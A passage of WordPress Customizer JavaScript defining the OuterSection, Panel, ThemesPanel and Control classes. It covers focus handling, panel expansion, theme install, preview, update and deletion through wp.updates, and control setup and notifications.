		 * @param {jQuery} el - Element to contain focus.
		 * @return {void}
		 */
		containFocus: function( el ) {
			var tabbables;

			el.on( 'keydown', function( event ) {

				// Return if it's not the tab key
				// When navigating with prev/next focus is already handled.
				if ( 9 !== event.keyCode ) {
					return;
				}

				// Uses jQuery UI to get the tabbable elements.
				tabbables = $( ':tabbable', el );

				// Keep focus within the overlay.
				if ( tabbables.last()[0] === event.target && ! event.shiftKey ) {
					tabbables.first().focus();
					return false;
				} else if ( tabbables.first()[0] === event.target && event.shiftKey ) {
					tabbables.last().focus();
					return false;
				}
			});
		}
	});

	api.OuterSection = api.Section.extend(/** @lends wp.customize.OuterSection.prototype */{

		/**
		 * Class wp.customize.OuterSection.
		 *
		 * Creates section outside of the sidebar, there is no ui to trigger collapse/expand so
		 * it would require custom handling.
		 *
		 * @constructs wp.customize.OuterSection
		 * @augments   wp.customize.Section
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		initialize: function() {
			var section = this;
			section.containerParent = '#customize-outer-theme-controls';
			section.containerPaneParent = '.customize-outer-pane-parent';
			api.Section.prototype.initialize.apply( section, arguments );
		},

		/**
		 * Overrides api.Section.prototype.onChangeExpanded to prevent collapse/expand effect
		 * on other sections and panels.
		 *
		 * @since 4.9.0
		 *
		 * @param {boolean}  expanded - The expanded state to transition to.
		 * @param {Object}   [args] - Args.
		 * @param {boolean}  [args.unchanged] - Whether the state is already known to not be changed, and so short-circuit with calling completeCallback early.
		 * @param {Function} [args.completeCallback] - Function to call when the slideUp/slideDown has completed.
		 * @param {Object}   [args.duration] - The duration for the animation.
		 */
		onChangeExpanded: function( expanded, args ) {
			var section = this,
				container = section.headContainer.closest( '.wp-full-overlay-sidebar-content' ),
				content = section.contentContainer,
				backBtn = content.find( '.customize-section-back' ),
				sectionTitle = section.headContainer.find( '.accordion-section-title' ).first(),
				body = $( document.body ),
				expand, panel;

			body.toggleClass( 'outer-section-open', expanded );
			section.container.toggleClass( 'open', expanded );
			section.container.removeClass( 'busy' );
			api.section.each( function( _section ) {
				if ( 'outer' === _section.params.type && _section.id !== section.id ) {
					_section.container.removeClass( 'open' );
				}
			} );

			if ( expanded && ! content.hasClass( 'open' ) ) {

				if ( args.unchanged ) {
					expand = args.completeCallback;
				} else {
					expand = function() {
						section._animateChangeExpanded( function() {
							sectionTitle.attr( 'tabindex', '-1' );
							backBtn.attr( 'tabindex', '0' );

							backBtn.trigger( 'focus' );
							content.css( 'top', '' );
							container.scrollTop( 0 );

							if ( args.completeCallback ) {
								args.completeCallback();
							}
						} );

						content.addClass( 'open' );
					}.bind( this );
				}

				if ( section.panel() ) {
					api.panel( section.panel() ).expand({
						duration: args.duration,
						completeCallback: expand
					});
				} else {
					expand();
				}

			} else if ( ! expanded && content.hasClass( 'open' ) ) {
				if ( section.panel() ) {
					panel = api.panel( section.panel() );
					if ( panel.contentContainer.hasClass( 'skip-transition' ) ) {
						panel.collapse();
					}
				}
				section._animateChangeExpanded( function() {
					backBtn.attr( 'tabindex', '-1' );
					sectionTitle.attr( 'tabindex', '0' );

					sectionTitle.trigger( 'focus' );
					content.css( 'top', '' );

					if ( args.completeCallback ) {
						args.completeCallback();
					}
				} );

				content.removeClass( 'open' );

			} else {
				if ( args.completeCallback ) {
					args.completeCallback();
				}
			}
		}
	});

	api.Panel = Container.extend(/** @lends wp.customize.Panel.prototype */{
		containerType: 'panel',

		/**
		 * @constructs wp.customize.Panel
		 * @augments   wp.customize~Container
		 *
		 * @since 4.1.0
		 *
		 * @param {string}  id - The ID for the panel.
		 * @param {Object}  options - Object containing one property: params.
		 * @param {string}  options.title - Title shown when panel is collapsed and expanded.
		 * @param {string}  [options.description] - Description shown at the top of the panel.
		 * @param {number}  [options.priority=100] - The sort priority for the panel.
		 * @param {string}  [options.type=default] - The type of the panel. See wp.customize.panelConstructor.
		 * @param {string}  [options.content] - The markup to be used for the panel container. If empty, a JS template is used.
		 * @param {boolean} [options.active=true] - Whether the panel is active or not.
		 * @param {Object}  [options.params] - Deprecated wrapper for the above properties.
		 */
		initialize: function ( id, options ) {
			var panel = this, params;
			params = options.params || options;

			// Look up the type if one was not supplied.
			if ( ! params.type ) {
				_.find( api.panelConstructor, function( Constructor, type ) {
					if ( Constructor === panel.constructor ) {
						params.type = type;
						return true;
					}
					return false;
				} );
			}

			Container.prototype.initialize.call( panel, id, params );

			panel.embed();
			panel.deferred.embedded.done( function () {
				panel.ready();
			});
		},

		/**
		 * Embed the container in the DOM when any parent panel is ready.
		 *
		 * @since 4.1.0
		 */
		embed: function () {
			var panel = this,
				container = $( '#customize-theme-controls' ),
				parentContainer = $( '.customize-pane-parent' ); // @todo This should be defined elsewhere, and to be configurable.

			if ( ! panel.headContainer.parent().is( parentContainer ) ) {
				parentContainer.append( panel.headContainer );
			}
			if ( ! panel.contentContainer.parent().is( panel.headContainer ) ) {
				container.append( panel.contentContainer );
			}
			panel.renderContent();

			panel.deferred.embedded.resolve();
		},

		/**
		 * @since 4.1.0
		 */
		attachEvents: function () {
			var meta, panel = this;

			// Expand/Collapse accordion sections on click.
			panel.headContainer.find( '.accordion-section-title' ).on( 'click keydown', function( event ) {
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}
				event.preventDefault(); // Keep this AFTER the key filter above.

				if ( ! panel.expanded() ) {
					panel.expand();
				}
			});

			// Close panel.
			panel.container.find( '.customize-panel-back' ).on( 'click keydown', function( event ) {
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}
				event.preventDefault(); // Keep this AFTER the key filter above.

				if ( panel.expanded() ) {
					panel.collapse();
				}
			});

			meta = panel.container.find( '.panel-meta:first' );

			meta.find( '> .accordion-section-title .customize-help-toggle' ).on( 'click', function() {
				if ( meta.hasClass( 'cannot-expand' ) ) {
					return;
				}

				var content = meta.find( '.customize-panel-description:first' );
				if ( meta.hasClass( 'open' ) ) {
					meta.toggleClass( 'open' );
					content.slideUp( panel.defaultExpandedArguments.duration, function() {
						content.trigger( 'toggled' );
					} );
					$( this ).attr( 'aria-expanded', false );
				} else {
					content.slideDown( panel.defaultExpandedArguments.duration, function() {
						content.trigger( 'toggled' );
					} );
					meta.toggleClass( 'open' );
					$( this ).attr( 'aria-expanded', true );
				}
			});

		},

		/**
		 * Get the sections that are associated with this panel, sorted by their priority Value.
		 *
		 * @since 4.1.0
		 *
		 * @return {Array}
		 */
		sections: function () {
			return this._children( 'panel', 'section' );
		},

		/**
		 * Return whether this panel has any active sections.
		 *
		 * @since 4.1.0
		 *
		 * @return {boolean} Whether contextually active.
		 */
		isContextuallyActive: function () {
			var panel = this,
				sections = panel.sections(),
				activeCount = 0;
			_( sections ).each( function ( section ) {
				if ( section.active() && section.isContextuallyActive() ) {
					activeCount += 1;
				}
			} );
			return ( activeCount !== 0 );
		},

		/**
		 * Update UI to reflect expanded state.
		 *
		 * @since 4.1.0
		 *
		 * @param {boolean}  expanded
		 * @param {Object}   args
		 * @param {boolean}  args.unchanged
		 * @param {Function} args.completeCallback
		 * @return {void}
		 */
		onChangeExpanded: function ( expanded, args ) {

			// Immediately call the complete callback if there were no changes.
			if ( args.unchanged ) {
				if ( args.completeCallback ) {
					args.completeCallback();
				}
				return;
			}

			// Note: there is a second argument 'args' passed.
			var panel = this,
				accordionSection = panel.contentContainer,
				overlay = accordionSection.closest( '.wp-full-overlay' ),
				container = accordionSection.closest( '.wp-full-overlay-sidebar-content' ),
				topPanel = panel.headContainer.find( '.accordion-section-title' ),
				backBtn = accordionSection.find( '.customize-panel-back' ),
				childSections = panel.sections(),
				skipTransition;

			if ( expanded && ! accordionSection.hasClass( 'current-panel' ) ) {
				// Collapse any sibling sections/panels.
				api.section.each( function ( section ) {
					if ( panel.id !== section.panel() ) {
						section.collapse( { duration: 0 } );
					}
				});
				api.panel.each( function ( otherPanel ) {
					if ( panel !== otherPanel ) {
						otherPanel.collapse( { duration: 0 } );
					}
				});

				if ( panel.params.autoExpandSoleSection && 1 === childSections.length && childSections[0].active.get() ) {
					accordionSection.addClass( 'current-panel skip-transition' );
					overlay.addClass( 'in-sub-panel' );

					childSections[0].expand( {
						completeCallback: args.completeCallback
					} );
				} else {
					panel._animateChangeExpanded( function() {
						topPanel.attr( 'tabindex', '-1' );
						backBtn.attr( 'tabindex', '0' );

						backBtn.trigger( 'focus' );
						accordionSection.css( 'top', '' );
						container.scrollTop( 0 );

						if ( args.completeCallback ) {
							args.completeCallback();
						}
					} );

					accordionSection.addClass( 'current-panel' );
					overlay.addClass( 'in-sub-panel' );
				}

				api.state( 'expandedPanel' ).set( panel );

			} else if ( ! expanded && accordionSection.hasClass( 'current-panel' ) ) {
				skipTransition = accordionSection.hasClass( 'skip-transition' );
				if ( ! skipTransition ) {
					panel._animateChangeExpanded( function() {
						topPanel.attr( 'tabindex', '0' );
						backBtn.attr( 'tabindex', '-1' );

						topPanel.focus();
						accordionSection.css( 'top', '' );

						if ( args.completeCallback ) {
							args.completeCallback();
						}
					} );
				} else {
					accordionSection.removeClass( 'skip-transition' );
				}

				overlay.removeClass( 'in-sub-panel' );
				accordionSection.removeClass( 'current-panel' );
				if ( panel === api.state( 'expandedPanel' ).get() ) {
					api.state( 'expandedPanel' ).set( false );
				}
			}
		},

		/**
		 * Render the panel from its JS template, if it exists.
		 *
		 * The panel's container must already exist in the DOM.
		 *
		 * @since 4.3.0
		 */
		renderContent: function () {
			var template,
				panel = this;

			// Add the content to the container.
			if ( 0 !== $( '#tmpl-' + panel.templateSelector + '-content' ).length ) {
				template = wp.template( panel.templateSelector + '-content' );
			} else {
				template = wp.template( 'customize-panel-default-content' );
			}
			if ( template && panel.headContainer ) {
				panel.contentContainer.html( template( _.extend(
					{ id: panel.id },
					panel.params
				) ) );
			}
		}
	});

	api.ThemesPanel = api.Panel.extend(/** @lends wp.customize.ThemsPanel.prototype */{

		/**
		 *  Class wp.customize.ThemesPanel.
		 *
		 * Custom section for themes that displays without the customize preview.
		 *
		 * @constructs wp.customize.ThemesPanel
		 * @augments   wp.customize.Panel
		 *
		 * @since 4.9.0
		 *
		 * @param {string} id - The ID for the panel.
		 * @param {Object} options - Options.
		 * @return {void}
		 */
		initialize: function( id, options ) {
			var panel = this;
			panel.installingThemes = [];
			api.Panel.prototype.initialize.call( panel, id, options );
		},

		/**
		 * Determine whether a given theme can be switched to, or in general.
		 *
		 * @since 4.9.0
		 *
		 * @param {string} [slug] - Theme slug.
		 * @return {boolean} Whether the theme can be switched to.
		 */
		canSwitchTheme: function canSwitchTheme( slug ) {
			if ( slug && slug === api.settings.theme.stylesheet ) {
				return true;
			}
			return 'publish' === api.state( 'selectedChangesetStatus' ).get() && ( '' === api.state( 'changesetStatus' ).get() || 'auto-draft' === api.state( 'changesetStatus' ).get() );
		},

		/**
		 * Attach events.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		attachEvents: function() {
			var panel = this;

			// Attach regular panel events.
			api.Panel.prototype.attachEvents.apply( panel );

			// Temporary since supplying SFTP credentials does not work yet. See #42184.
			if ( api.settings.theme._canInstall && api.settings.theme._filesystemCredentialsNeeded ) {
				panel.notifications.add( new api.Notification( 'theme_install_unavailable', {
					message: api.l10n.themeInstallUnavailable,
					type: 'info',
					dismissible: true
				} ) );
			}

			function toggleDisabledNotifications() {
				if ( panel.canSwitchTheme() ) {
					panel.notifications.remove( 'theme_switch_unavailable' );
				} else {
					panel.notifications.add( new api.Notification( 'theme_switch_unavailable', {
						message: api.l10n.themePreviewUnavailable,
						type: 'warning'
					} ) );
				}
			}
			toggleDisabledNotifications();
			api.state( 'selectedChangesetStatus' ).bind( toggleDisabledNotifications );
			api.state( 'changesetStatus' ).bind( toggleDisabledNotifications );

			// Collapse panel to customize the current theme.
			panel.contentContainer.on( 'click', '.customize-theme', function() {
				panel.collapse();
			});

			// Toggle between filtering and browsing themes on mobile.
			panel.contentContainer.on( 'click', '.customize-themes-section-title, .customize-themes-mobile-back', function() {
				$( '.wp-full-overlay' ).toggleClass( 'showing-themes' );
			});

			// Install (and maybe preview) a theme.
			panel.contentContainer.on( 'click', '.theme-install', function( event ) {
				panel.installTheme( event );
			});

			// Update a theme. Theme cards have the class, the details modal has the id.
			panel.contentContainer.on( 'click', '.update-theme, #update-theme', function( event ) {

				// #update-theme is a link.
				event.preventDefault();
				event.stopPropagation();

				panel.updateTheme( event );
			});

			// Delete a theme.
			panel.contentContainer.on( 'click', '.delete-theme', function( event ) {
				panel.deleteTheme( event );
			});

			_.bindAll( panel, 'installTheme', 'updateTheme' );
		},

		/**
		 * Update UI to reflect expanded state
		 *
		 * @since 4.9.0
		 *
		 * @param {boolean}  expanded - Expanded state.
		 * @param {Object}   args - Args.
		 * @param {boolean}  args.unchanged - Whether or not the state changed.
		 * @param {Function} args.completeCallback - Callback to execute when the animation completes.
		 * @return {void}
		 */
		onChangeExpanded: function( expanded, args ) {
			var panel = this, overlay, sections, hasExpandedSection = false;

			// Expand/collapse the panel normally.
			api.Panel.prototype.onChangeExpanded.apply( this, [ expanded, args ] );

			// Immediately call the complete callback if there were no changes.
			if ( args.unchanged ) {
				if ( args.completeCallback ) {
					args.completeCallback();
				}
				return;
			}

			overlay = panel.headContainer.closest( '.wp-full-overlay' );

			if ( expanded ) {
				overlay
					.addClass( 'in-themes-panel' )
					.delay( 200 ).find( '.customize-themes-full-container' ).addClass( 'animate' );

				_.delay( function() {
					overlay.addClass( 'themes-panel-expanded' );
				}, 200 );

				// Automatically open the first section (except on small screens), if one isn't already expanded.
				if ( 600 < window.innerWidth ) {
					sections = panel.sections();
					_.each( sections, function( section ) {
						if ( section.expanded() ) {
							hasExpandedSection = true;
						}
					} );
					if ( ! hasExpandedSection && sections.length > 0 ) {
						sections[0].expand();
					}
				}
			} else {
				overlay
					.removeClass( 'in-themes-panel themes-panel-expanded' )
					.find( '.customize-themes-full-container' ).removeClass( 'animate' );
			}
		},

		/**
		 * Install a theme via wp.updates.
		 *
		 * @since 4.9.0
		 *
		 * @param {jQuery.Event} event - Event.
		 * @return {jQuery.promise} Promise.
		 */
		installTheme: function( event ) {
			var panel = this, preview, onInstallSuccess, slug = $( event.target ).data( 'slug' ), deferred = $.Deferred(), request;
			preview = $( event.target ).hasClass( 'preview' );

			// Temporary since supplying SFTP credentials does not work yet. See #42184.
			if ( api.settings.theme._filesystemCredentialsNeeded ) {
				deferred.reject({
					errorCode: 'theme_install_unavailable'
				});
				return deferred.promise();
			}

			// Prevent loading a non-active theme preview when there is a drafted/scheduled changeset.
			if ( ! panel.canSwitchTheme( slug ) ) {
				deferred.reject({
					errorCode: 'theme_switch_unavailable'
				});
				return deferred.promise();
			}

			// Theme is already being installed.
			if ( _.contains( panel.installingThemes, slug ) ) {
				deferred.reject({
					errorCode: 'theme_already_installing'
				});
				return deferred.promise();
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			onInstallSuccess = function( response ) {
				var theme = false, themeControl;
				if ( preview ) {
					api.notifications.remove( 'theme_installing' );

					panel.loadThemePreview( slug );

				} else {
					api.control.each( function( control ) {
						if ( 'theme' === control.params.type && control.params.theme.id === response.slug ) {
							theme = control.params.theme; // Used below to add theme control.
							control.rerenderAsInstalled( true );
						}
					});

					// Don't add the same theme more than once.
					if ( ! theme || api.control.has( 'installed_theme_' + theme.id ) ) {
						deferred.resolve( response );
						return;
					}

					// Add theme control to installed section.
					theme.type = 'installed';
					themeControl = new api.controlConstructor.theme( 'installed_theme_' + theme.id, {
						type: 'theme',
						section: 'installed_themes',
						theme: theme,
						priority: 0 // Add all newly-installed themes to the top.
					} );

					api.control.add( themeControl );
					api.control( themeControl.id ).container.trigger( 'render-screenshot' );

					// Close the details modal if it's open to the installed theme.
					api.section.each( function( section ) {
						if ( 'themes' === section.params.type ) {
							if ( theme.id === section.currentTheme ) { // Don't close the modal if the user has navigated elsewhere.
								section.closeDetails();
							}
						}
					});
				}
				deferred.resolve( response );
			};

			panel.installingThemes.push( slug ); // Note: we don't remove elements from installingThemes, since they shouldn't be installed again.
			request = wp.updates.installTheme( {
				slug: slug
			} );

			// Also preview the theme as the event is triggered on Install & Preview.
			if ( preview ) {
				api.notifications.add( new api.OverlayNotification( 'theme_installing', {
					message: api.l10n.themeDownloading,
					type: 'info',
					loading: true
				} ) );
			}

			request.done( onInstallSuccess );
			request.fail( function() {
				api.notifications.remove( 'theme_installing' );
			} );

			return deferred.promise();
		},

		/**
		 * Load theme preview.
		 *
		 * @since 4.9.0
		 *
		 * @param {string} themeId Theme ID.
		 * @return {jQuery.promise} Promise.
		 */
		loadThemePreview: function( themeId ) {
			var panel = this, deferred = $.Deferred(), onceProcessingComplete, urlParser, queryParams;

			// Prevent loading a non-active theme preview when there is a drafted/scheduled changeset.
			if ( ! panel.canSwitchTheme( themeId ) ) {
				deferred.reject({
					errorCode: 'theme_switch_unavailable'
				});
				return deferred.promise();
			}

			urlParser = document.createElement( 'a' );
			urlParser.href = location.href;
			queryParams = _.extend(
				api.utils.parseQueryString( urlParser.search.substr( 1 ) ),
				{
					theme: themeId,
					changeset_uuid: api.settings.changeset.uuid,
					'return': api.settings.url['return']
				}
			);

			// Include autosaved param to load autosave revision without prompting user to restore it.
			if ( ! api.state( 'saved' ).get() ) {
				queryParams.customize_autosaved = 'on';
			}

			urlParser.search = $.param( queryParams );

			// Update loading message. Everything else is handled by reloading the page.
			api.notifications.add( new api.OverlayNotification( 'theme_previewing', {
				message: api.l10n.themePreviewWait,
				type: 'info',
				loading: true
			} ) );

			onceProcessingComplete = function() {
				var request;
				if ( api.state( 'processing' ).get() > 0 ) {
					return;
				}

				api.state( 'processing' ).unbind( onceProcessingComplete );

				request = api.requestChangesetUpdate( {}, { autosave: true } );
				request.done( function() {
					deferred.resolve();
					$( window ).off( 'beforeunload.customize-confirm' );
					location.replace( urlParser.href );
				} );
				request.fail( function() {

					// @todo Show notification regarding failure.
					api.notifications.remove( 'theme_previewing' );

					deferred.reject();
				} );
			};

			if ( 0 === api.state( 'processing' ).get() ) {
				onceProcessingComplete();
			} else {
				api.state( 'processing' ).bind( onceProcessingComplete );
			}

			return deferred.promise();
		},

		/**
		 * Update a theme via wp.updates.
		 *
		 * @since 4.9.0
		 *
		 * @param {jQuery.Event} event - Event.
		 * @return {void}
		 */
		updateTheme: function( event ) {
			wp.updates.maybeRequestFilesystemCredentials( event );

			$( document ).one( 'wp-theme-update-success', function( e, response ) {

				// Rerender the control to reflect the update.
				api.control.each( function( control ) {
					if ( 'theme' === control.params.type && control.params.theme.id === response.slug ) {
						control.params.theme.hasUpdate = false;
						control.params.theme.version = response.newVersion;
						setTimeout( function() {
							control.rerenderAsInstalled( true );
						}, 2000 );
					}
				});
			} );

			wp.updates.updateTheme( {
				slug: $( event.target ).closest( '.notice' ).data( 'slug' )
			} );
		},

		/**
		 * Delete a theme via wp.updates.
		 *
		 * @since 4.9.0
		 *
		 * @param {jQuery.Event} event - Event.
		 * @return {void}
		 */
		deleteTheme: function( event ) {
			var theme, section;
			theme = $( event.target ).data( 'slug' );
			section = api.section( 'installed_themes' );

			event.preventDefault();

			// Temporary since supplying SFTP credentials does not work yet. See #42184.
			if ( api.settings.theme._filesystemCredentialsNeeded ) {
				return;
			}

			// Confirmation dialog for deleting a theme.
			if ( ! window.confirm( api.settings.l10n.confirmDeleteTheme ) ) {
				return;
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			$( document ).one( 'wp-theme-delete-success', function() {
				var control = api.control( 'installed_theme_' + theme );

				// Remove theme control.
				control.container.remove();
				api.control.remove( control.id );

				// Update installed count.
				section.loaded = section.loaded - 1;
				section.updateCount();

				// Rerender any other theme controls as uninstalled.
				api.control.each( function( control ) {
					if ( 'theme' === control.params.type && control.params.theme.id === theme ) {
						control.rerenderAsInstalled( false );
					}
				});
			} );

			wp.updates.deleteTheme( {
				slug: theme
			} );

			// Close modal and focus the section.
			section.closeDetails();
			section.focus();
		}
	});

	api.Control = api.Class.extend(/** @lends wp.customize.Control.prototype */{
		defaultActiveArguments: { duration: 'fast', completeCallback: $.noop },

		/**
		 * Default params.
		 *
		 * @since 4.9.0
		 * @var {object}
		 */
		defaults: {
			label: '',
			description: '',
			active: true,
			priority: 10
		},

		/**
		 * A Customizer Control.
		 *
		 * A control provides a UI element that allows a user to modify a Customizer Setting.
		 *
		 * @see PHP class WP_Customize_Control.
		 *
		 * @constructs wp.customize.Control
		 * @augments   wp.customize.Class
		 *
		 * @borrows wp.customize~focus as this#focus
		 * @borrows wp.customize~Container#activate as this#activate
		 * @borrows wp.customize~Container#deactivate as this#deactivate
		 * @borrows wp.customize~Container#_toggleActive as this#_toggleActive
		 *
		 * @param {string} id                       - Unique identifier for the control instance.
		 * @param {Object} options                  - Options hash for the control instance.
		 * @param {Object} options.type             - Type of control (e.g. text, radio, dropdown-pages, etc.)
		 * @param {string} [options.content]        - The HTML content for the control or at least its container. This should normally be left blank and instead supplying a templateId.
		 * @param {string} [options.templateId]     - Template ID for control's content.
		 * @param {string} [options.priority=10]    - Order of priority to show the control within the section.
		 * @param {string} [options.active=true]    - Whether the control is active.
		 * @param {string} options.section          - The ID of the section the control belongs to.
		 * @param {mixed}  [options.setting]        - The ID of the main setting or an instance of this setting.
		 * @param {mixed}  options.settings         - An object with keys (e.g. default) that maps to setting IDs or Setting/Value objects, or an array of setting IDs or Setting/Value objects.
		 * @param {mixed}  options.settings.default - The ID of the setting the control relates to.
		 * @param {string} options.settings.data    - @todo Is this used?
		 * @param {string} options.label            - Label.
		 * @param {string} options.description      - Description.
		 * @param {number} [options.instanceNumber] - Order in which this instance was created in relation to other instances.
		 * @param {Object} [options.params]         - Deprecated wrapper for the above properties.
		 * @return {void}
		 */
		initialize: function( id, options ) {
			var control = this, deferredSettingIds = [], settings, gatherSettings;

			control.params = _.extend(
				{},
				control.defaults,
				control.params || {}, // In case subclass already defines.
				options.params || options || {} // The options.params property is deprecated, but it is checked first for back-compat.
			);

			if ( ! api.Control.instanceCounter ) {
				api.Control.instanceCounter = 0;
			}
			api.Control.instanceCounter++;
			if ( ! control.params.instanceNumber ) {
				control.params.instanceNumber = api.Control.instanceCounter;
			}

			// Look up the type if one was not supplied.
			if ( ! control.params.type ) {
				_.find( api.controlConstructor, function( Constructor, type ) {
					if ( Constructor === control.constructor ) {
						control.params.type = type;
						return true;
					}
					return false;
				} );
			}

			if ( ! control.params.content ) {
				control.params.content = $( '<li></li>', {
					id: 'customize-control-' + id.replace( /]/g, '' ).replace( /\[/g, '-' ),
					'class': 'customize-control customize-control-' + control.params.type
				} );
			}

			control.id = id;
			control.selector = '#customize-control-' + id.replace( /\]/g, '' ).replace( /\[/g, '-' ); // Deprecated, likely dead code from time before #28709.
			if ( control.params.content ) {
				control.container = $( control.params.content );
			} else {
				control.container = $( control.selector ); // Likely dead, per above. See #28709.
			}

			if ( control.params.templateId ) {
				control.templateSelector = control.params.templateId;
			} else {
				control.templateSelector = 'customize-control-' + control.params.type + '-content';
			}

			control.deferred = _.extend( control.deferred || {}, {
				embedded: new $.Deferred()
			} );
			control.section = new api.Value();
			control.priority = new api.Value();
			control.active = new api.Value();
			control.activeArgumentsQueue = [];
			control.notifications = new api.Notifications({
				alt: control.altNotice
			});

			control.elements = [];

			control.active.bind( function ( active ) {
				var args = control.activeArgumentsQueue.shift();
				args = $.extend( {}, control.defaultActiveArguments, args );
				control.onChangeActive( active, args );
			} );

			control.section.set( control.params.section );
			control.priority.set( isNaN( control.params.priority ) ? 10 : control.params.priority );
			control.active.set( control.params.active );

			api.utils.bubbleChildValueChanges( control, [ 'section', 'priority', 'active' ] );

			control.settings = {};

			settings = {};
			if ( control.params.setting ) {
				settings['default'] = control.params.setting;
			}
			_.extend( settings, control.params.settings );

			// Note: Settings can be an array or an object, with values being either setting IDs or Setting (or Value) objects.
			_.each( settings, function( value, key ) {
				var setting;
				if ( _.isObject( value ) && _.isFunction( value.extended ) && value.extended( api.Value ) ) {
					control.settings[ key ] = value;
				} else if ( _.isString( value ) ) {
					setting = api( value );
					if ( setting ) {
						control.settings[ key ] = setting;
					} else {
						deferredSettingIds.push( value );
					}
				}
			} );

			gatherSettings = function() {

				// Fill-in all resolved settings.
				_.each( settings, function ( settingId, key ) {
					if ( ! control.settings[ key ] && _.isString( settingId ) ) {
						control.settings[ key ] = api( settingId );
					}
				} );

				// Make sure settings passed as array gets associated with default.
				if ( control.settings[0] && ! control.settings['default'] ) {
					control.settings['default'] = control.settings[0];
				}

				// Identify the main setting.
				control.setting = control.settings['default'] || null;

				control.linkElements(); // Link initial elements present in server-rendered content.
				control.embed();
			};

			if ( 0 === deferredSettingIds.length ) {
				gatherSettings();
			} else {
				api.apply( api, deferredSettingIds.concat( gatherSettings ) );
			}

			// After the control is embedded on the page, invoke the "ready" method.
			control.deferred.embedded.done( function () {
				control.linkElements(); // Link any additional elements after template is rendered by renderContent().
				control.setupNotifications();
				control.ready();
			});
		},

		/**
		 * Link elements between settings and inputs.
		 *
		 * @since 4.7.0
		 * @access public
		 *
		 * @return {void}
		 */
		linkElements: function () {
			var control = this, nodes, radios, element;

			nodes = control.container.find( '[data-customize-setting-link], [data-customize-setting-key-link]' );
			radios = {};

			nodes.each( function () {
				var node = $( this ), name, setting;

				if ( node.data( 'customizeSettingLinked' ) ) {
					return;
				}
				node.data( 'customizeSettingLinked', true ); // Prevent re-linking element.

				if ( node.is( ':radio' ) ) {
					name = node.prop( 'name' );
					if ( radios[name] ) {
						return;
					}

					radios[name] = true;
					node = nodes.filter( '[name="' + name + '"]' );
				}

				// Let link by default refer to setting ID. If it doesn't exist, fallback to looking up by setting key.
				if ( node.data( 'customizeSettingLink' ) ) {
					setting = api( node.data( 'customizeSettingLink' ) );
				} else if ( node.data( 'customizeSettingKeyLink' ) ) {
					setting = control.settings[ node.data( 'customizeSettingKeyLink' ) ];
				}

				if ( setting ) {
					element = new api.Element( node );
					control.elements.push( element );
					element.sync( setting );
					element.set( setting() );
				}
			} );
		},

		/**
		 * Embed the control into the page.
		 */
		embed: function () {
			var control = this,
				inject;

			// Watch for changes to the section state.
			inject = function ( sectionId ) {
				var parentContainer;
				if ( ! sectionId ) { // @todo Allow a control to be embedded without a section, for instance a control embedded in the front end.
					return;
				}
				// Wait for the section to be registered.
				api.section( sectionId, function ( section ) {
					// Wait for the section to be ready/initialized.
					section.deferred.embedded.done( function () {
						parentContainer = ( section.contentContainer.is( 'ul' ) ) ? section.contentContainer : section.contentContainer.find( 'ul:first' );
						if ( ! control.container.parent().is( parentContainer ) ) {
							parentContainer.append( control.container );
						}
						control.renderContent();
						control.deferred.embedded.resolve();
					});
				});
			};
			control.section.bind( inject );
			inject( control.section.get() );
		},

		/**
		 * Triggered when the control's markup has been injected into the DOM.
		 *
		 * @return {void}
		 */
		ready: function() {
			var control = this, newItem;
			if ( 'dropdown-pages' === control.params.type && control.params.allow_addition ) {
				newItem = control.container.find( '.new-content-item' );
				newItem.hide(); // Hide in JS to preserve flex display when showing.
				control.container.on( 'click', '.add-new-toggle', function( e ) {
					$( e.currentTarget ).slideUp( 180 );
					newItem.slideDown( 180 );
					newItem.find( '.create-item-input' ).focus();
				});
				control.container.on( 'click', '.add-content', function() {
					control.addNewPage();
				});
				control.container.on( 'keydown', '.create-item-input', function( e ) {
					if ( 13 === e.which ) { // Enter.
						control.addNewPage();
					}
				});
			}
		},

		/**
		 * Get the element inside of a control's container that contains the validation error message.
		 *
		 * Control subclasses may override this to return the proper container to render notifications into.
		 * Injects the notification container for existing controls that lack the necessary container,
		 * including special handling for nav menu items and widgets.
		 *
		 * @since 4.6.0
		 * @return {jQuery} Setting validation message element.
		 */
		getNotificationsContainerElement: function() {
			var control = this, controlTitle, notificationsContainer;

			notificationsContainer = control.container.find( '.customize-control-notifications-container:first' );
			if ( notificationsContainer.length ) {
				return notificationsContainer;
			}

			notificationsContainer = $( '<div class="customize-control-notifications-container"></div>' );

			if ( control.container.hasClass( 'customize-control-nav_menu_item' ) ) {
				control.container.find( '.menu-item-settings:first' ).prepend( notificationsContainer );
			} else if ( control.container.hasClass( 'customize-control-widget_form' ) ) {
				control.container.find( '.widget-inside:first' ).prepend( notificationsContainer );
			} else {
				controlTitle = control.container.find( '.customize-control-title' );
				if ( controlTitle.length ) {
					controlTitle.after( notificationsContainer );
				} else {
					control.container.prepend( notificationsContainer );
				}
			}
			return notificationsContainer;
		},

		/**
		 * Set up notifications.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		setupNotifications: function() {
			var control = this, renderNotificationsIfVisible, onSectionAssigned;

			// Add setting notifications to the control notification.
			_.each( control.settings, function( setting ) {
				if ( ! setting.notifications ) {
					return;
				}
				setting.notifications.bind( 'add', function( settingNotification ) {
					var params = _.extend(
						{},
						settingNotification,
						{
							setting: setting.id
						}
					);
					control.notifications.add( new api.Notification( setting.id + ':' + settingNotification.code, params ) );
				} );
				setting.notifications.bind( 'remove', function( settingNotification ) {
					control.notifications.remove( setting.id + ':' + settingNotification.code );
				} );
			} );

			renderNotificationsIfVisible = function() {
				var sectionId = control.section();
				if ( ! sectionId || ( api.section.has( sectionId ) && api.section( sectionId ).expanded() ) ) {
					control.notifications.render();
				}
			};

			control.notifications.bind( 'rendered', function() {
				var notifications = control.notifications.get();
				control.container.toggleClass( 'has-notifications', 0 !== notifications.length );
				control.container.toggleClass( 'has-error', 0 !== _.where( notifications, { type: 'error' } ).length );
			} );

			onSectionAssigned = function( newSectionId, oldSectionId ) {
				if ( oldSectionId && api.section.has( oldSectionId ) ) {
					api.section( oldSectionId ).expanded.unbind( renderNotificationsIfVisible );
				}
				if ( newSectionId ) {
					api.section( newSectionId, function( section ) {
						section.expanded.bind( renderNotificationsIfVisible );
						renderNotificationsIfVisible();
					});
				}
			};

